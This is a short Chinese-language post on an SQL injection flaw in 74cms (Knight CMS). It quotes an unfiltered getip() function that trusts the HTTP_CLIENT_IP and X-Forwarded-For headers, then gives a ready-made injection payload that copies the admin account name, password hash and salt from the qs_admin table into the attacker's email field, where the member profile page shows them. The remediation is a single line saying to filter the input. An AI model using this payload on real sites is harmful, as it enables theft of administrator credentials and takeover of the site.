骑士CMS(74cms)sql注入漏洞及修复 -电脑资料
74cms sql注入漏洞
function getip()
{
if(getenv('HTTP_CLIENT_IP')){
$onlineip=getenv('HTTP_CLIENT_IP');
}else if(getenv('HTTP_X_FORWARDED_FOR')){
$onlineip=getenv('HTTP_X_
FORWARDED_FOR');}else if(getenv('REMOTE_ADDR')){
$onlineip=getenv('REMOTE_ADDR');
}else{
$onlineip=$_SERVER['REMOTE_ADDR'];
}
return $onlineip;
}
ip没过滤
我们可以这样注入
$getinj="zyday1.1.', email=(SELECT concat(admin_name,0x2f,pwd,0x2f,pwd_hash ) FROM qs_admin) where username = '$dpusername'#";
就是把查询到的账号密码赋值给email...接着在会员中心查看个人资料就可以爆账号和密码和hash了
修复:过滤下就行了